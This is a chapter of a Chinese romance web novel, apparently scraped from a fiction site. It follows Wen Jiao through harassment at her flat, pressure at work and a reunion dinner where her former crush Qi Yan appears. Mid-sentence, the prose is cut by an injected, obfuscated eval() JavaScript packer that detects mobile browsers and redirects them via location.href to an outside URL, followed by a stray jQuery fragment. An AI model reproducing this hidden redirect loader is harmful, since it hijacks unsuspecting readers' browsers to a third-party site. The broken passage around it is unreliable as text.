手链锁扣部分坏了,温皎顺手装进钱夹,准备有时间再拿去修。
F大坐落在郊区,等回到双禾新苑,天已经擦黑。
温皎租的房子在师范大学附近的居民楼,一梯两户,墙上偶尔有小孩子涂鸦。
爬上三楼,她抬起指腹按在门把手上。
“已开锁。”
指示灯绿起。
温皎却顿了一瞬。
深褐色的防盗门脚上,入户位置多了一泼鲜血,红艳艳的刺目。
温皎额心直跳,蹲下才发觉,刺鼻气味源自脚下。
——有人往她门前泼了油漆。
“……”
这段时间,温皎时不时就遇到这种恶作剧。
腐烂的菜叶、死掉的老鼠、菜市场捡来的臭鱼烂虾,都往她门前扔。
搞得温皎神经很脆弱。
起先温皎让房东帮忙查监控,但做这些的人,貌似都有正当理由,要不就是垃圾掉了,要不就是小孩子顽皮。
总之他们互相不认识,保证下次注意。
连追责都不知道该找谁。
温皎累得不行,真是没心力计较这事了。
跨过那滩暗红的“血迹”进了门,扭转旋钮反锁。
*
周一上班。
王志远把温皎单独喊到办公室。打了半天太极,终于言归正传。
“小温啊,我这人平时心直口快,你们也是知道的。”王志远说,“但这也不是针对谁。其实我啊,是真心把你们当成家里小辈对待,恨不得个个委以重任!”
温皎有些沉默。
但她本来就是个好脾气:“我知道的,王总。”
知道领导一般缺什么,才最喜欢吹嘘什么。
“那你们有什么事,可别瞒着我。”
王志远笑容狭促,鼻根的细纹堆叠起来,“周六研讨会,你和齐总,是怎么回事啊?”
“……”
原来是因为这个。
温皎老实交代了:“没记错的话,齐总貌似是冲着乔小姐去的。我只是恰巧,站在了他们两个人中间。”
“真的只是这样?”
不然还能怎么样。
温皎也想幻想,海啸袭来、火山爆发、小行星撞击地球,调动肾上腺素,继而产生多巴胺。
麻痹自己接受,齐厌是冲着她来的。
但明显不存在这个可能。
王志远狐疑看她两眼。
见温皎神色坦然,完全不像作伪,才稍稍卸下心防。
也是。
能跟尽闻集团总裁沾亲带故的人。
至于在他手底下忍气吞声?
王志远收起打探欲望,摆摆手。体恤下属的谈话,到此结束。
温皎带上门离开前,他扬声道:“对了,这次研讨会的报告,周三之前,我要全部看到。”
*
“他真这么说的?”
费婷咂舌,竖起大拇指,“上百人参加的研讨会,只给两天时间?丧心病狂啊。”
温皎很是无奈。
手头的小组任务,进度拖不得。
报告只能带回去,晚上熬夜写了。
“要不我帮你分担些吧,你一个人怎么做得完。”费婷目露担忧,很清楚王志远的为人。
要是交不上去,他肯定又要阴阳怪气,暗地使绊子。
温皎知道费婷她们小组,任务压力也大。
不好直接拒绝,便象征性把一些收集与会人员资料背景的活,拜托给她。
“改天请你吃饭。”
“温大美人,太客气了。为你效劳,是我的荣幸。”费婷打趣。
为了赶报告,温皎熬了一个半通宵。
虽然差点猝死,但好歹顺利交了上去。
连向来挑剔的王志远,逐页翻看,都没挑出毛病:“不错。小温,去忙你自己的事吧。”
“……”
是半点不给人喘气的机会。
又忙半周,菌种终于确定下来。
交给研发部搞二期实验,就能看到成果。
周六迷糊醒过来时,温皎摸过手机一看,都下午一点了。
慢吞吞起床洗漱。
冰箱比她脸还干净,只能随便煮点面条吃。
吃完面,从楼下超市买完菜出来,温皎听见背后有人喊她。
“温皎?”
温皎回过头。
“靠,真是你啊!”
烫着波浪卷的靓丽女士,把墨镜推到头发上,冲她走过来,语气极为热情。
温皎怔怔看着她,手里还拎着刚买的菜。
蔬菜肥牛卷和一些丸子,相当有生活气息。
望着不在状态的温皎,墨镜女子大笑:“去美国镀完金,就不记得老同学了?”
温皎被她说得不好意思了:“唐愉。”
怎么可能不记得。
没记错的话,大一刚开学,唐愉还追过齐厌。
那时唐愉羞涩得不行,总向齐厌的室友程宋打听消息,连情书都是拜托学习委员温皎去递的。
不过那时,温皎也跟齐厌不太熟。
回头看了一眼,阶梯教室后排,黑色一团趴在课桌上,线条利落的冷白手臂搭在后脖颈。
少年手长脚长,桌下空间有限,干脆支了一条在外侧,样子懒散。
刚睡醒有火气,他极不耐烦地看她一眼。
盯着粉色信封,那副冷淡样,连眉梢都不带动的:“不需要。”
什么不需要?
又不是发传单。
这可给温皎整懵了。
但任务在身,只能硬着头皮,试图解释:“不是……上面有署名的,这个是唐——”
齐厌不再说话,忽然抬起被阳光照到半透明的眼睛,安静打量她。
直到温皎脸颊在他视线里,一点点变得通红,她也没把那封情书成功递出去。
“抱歉啊。”温皎想起这事,一直挺过意不去。
“道什么歉呀!”唐愉大笑,“嗨,我就说那小子当年不对劲。竟然敢当着我的面,勾引我的送信使者!”
温皎很认真地实事求是:“倒也没有。”
……因为后来,是她主动追的齐厌。
唐愉说什么也要逮着温皎叙旧。
直到一辆外形夸张惹眼的红色汽车停在路边,汽笛声连响两声,她才松开拉着温皎的手,踩着恨天高,朝红车快速游移去。
没过一会,唐愉又回来了:“待会有个生日聚会,我男朋友来接我了。”
温皎内心松了口气:“既然你有事,那我们就改天再——”
“改天什么,择日不如撞日,一起去呗。”
唐愉亲切挽住了温皎,紧接着说,“本来你就是最该去的人,孙教授当年,可是最疼你的吧?他老人家五十四岁大寿,你说什么,也得过去捧捧场。”
温皎想起自己手里的菜:“要不等我先回去放——”
“真是你啊,温皎!”驾驶座的年轻男人语气夸张,一条胳膊压在车窗框上,半个身子都快掉出来了,“刚唐愉和我说,我还不信呢!”
温皎定了一瞬。
她怎么也想到,唐愉口中的男朋友,会是程宋。
要不说这两人能做情侣呢。
口头禅都一样。
没等温皎说话,后排响起疯狂的鸣笛声,程宋收回手臂:“靠!这里不能停车,快上车!上车聊!”
温皎:“不用……”
唐愉不由分说将人塞进后座:“我已经在微信上请示过了,孙教授点名要你到呢。”
刚坐稳,车子瞬间发动,绝尘而去。
没开一会,堵在主干道。
正是饭点高峰期,汽车挪得比蜗牛还慢。
程宋不耐烦,按了下方向盘,下意识想点烟。
被唐愉凶了一眼,认命般撕了颗糖,塞进嘴里。
百无聊赖敲着窗沿时,程宋用蓝牙耳机打了个电话。
“喂,干嘛呢?”含着糖,声音很欠。
不知在和谁聊,语气很熟的样子。
“哦,也没什么事。去参加孙教授生日聚会啊……诶,你不来就算了,也没人请你……”
“带了谁?”
程宋声音忽然卡了壳。
扭头回来,看向温皎,眼光带着点审判意味的锋芒。
这样的目光,令温皎坐立难安。
终于,程宋撤走审视,随意道:“一个老同学,我大学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812578|175313||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
班上的学委。对吧,温皎?”
温皎有些莫名。
不知道为什么要刻意叫她名字。
唐愉立即捣了没正形的人一拳:“你又发什么疯?”
程宋连忙挂了电话,捂住胳膊,撒娇呼痛:“亲爱的,下手能不能轻点。你不会想谋杀亲夫吧?”
唐愉斜了他一眼,回头安抚温皎:“他这人时不时抽风,你别理他,他废话多得很。”
温皎扯了个笑:“没事。”
恰好前车挪出空间,程宋见势驶出主干道,换入支道驶车,一路绿通。
*
吃饭的地方,是个郊外的庄园,很是僻静。
走进包厢,温皎才发现,唐愉口中的小聚会,快把整个临床一班的老同学聚齐。
两桌几乎坐满了人。
程宋带着唐愉进去时,他们还在起哄闹嚷。
直到温皎走进去,一众调侃声就刻意地停止了。
那些熟悉的面孔,纷纷转头,安静看向她。
一个男同学起哄:“这不是咱们当年的系花吗?赶紧坐下啊,站着干嘛。”
只剩下三个空位,两个在里面那一桌。
剩一个单座,留在外面那桌。
让温皎一个姑娘落单,显然不是道理。
唐愉本打算和温皎凑一起,程宋却有些生气,半是调笑着,用胳膊勾走了她:“糖糖,我都答应你戒烟了。今晚说什么,你也得和我坐一桌。”
众人哀嚎:“行行行,知道你脱单了,最烦你小子的装逼劲了。”
赶紧把两人按在里面那桌。
于是温皎独自留在外面那桌。
背靠包厢门的方向。
说好的孙教授,只来走个了过场,和大家碰了几杯,就去别的包厢招待其他客人了。
不知是谁起的头,话题忽然扔到温皎头上:“说起来,要是当年咱学委不出国,指不定就是现在的齐太太了呢。”
“……”
给温皎砸木了片刻。
尴尬弯唇,淡笑揭过。
“对啊,现在都只能在电视上看见齐厌了。想当年,好歹在咱们班待过一年呢。”男生语气颇为遗憾,“果然,弃医从什么,都是大有前途。”
齐厌后来转去了计算机系。
信誓旦旦说一号同学敢迟到,就要扣光他平时分的朱老师,都抓不到下手机会。
“得了吧。”隔壁桌男生转过身,“你爹也叫齐连生的话,你学什么都是大有前途!”
两桌人哈哈大笑。
温皎微微蹙眉,低头在手机上和唐愉发了个信息。
温皎:我有事要先离开了,你们慢慢吃[微笑]
唐愉:这么快就回去?
温皎:没办法,我刚想起还有个类别报告没写完。
温皎:明天早上见不到报告,老板会杀了我的[惊恐]
微信半晌没有新消息提示。
连带两桌人的嘈闹声都逐渐安静。
温皎疑惑抬头,隔壁桌的唐愉注意力已经完全离开手机,愣愣盯着自己身后看。
包厢厚重的门被完全推开。
身着白色旗袍的服务员伸手,做出请的姿势:“先生,是这间。”
一瞬间,所有人噤若寒蝉。
都冲她身后投去注目礼。
温皎隐隐不安,心脏仿佛被尖锐猫爪刮过。
僵直着脑袋,硬挺着没敢回。
复古的雕花艺术门外,月光透亮,男人身着薄款黑风衣,仿佛踩着某种奇异调子,从容走了进来。
他停在温皎身后。
摘了手套,星眸含着浅薄笑意,视线掠过身前离得最近的人。
却端起她面前的高脚杯。
温皎半边后背都麻了。
“不介意吧。”
温皎没想到,他第一句话竟然抛给她。
抬起眼,正好接上他投来的目光,轻盈落在她身上。
明明没什么攻击力,甚至堪称柔和。
但就是让温皎倍感压力。
只能摇头,表示自己没动过这杯酒。
身旁青年站直身,不矜不盈,朝除她以外的所有人敬酒:“打扰各位雅兴了,我来得晚,自饮一杯。”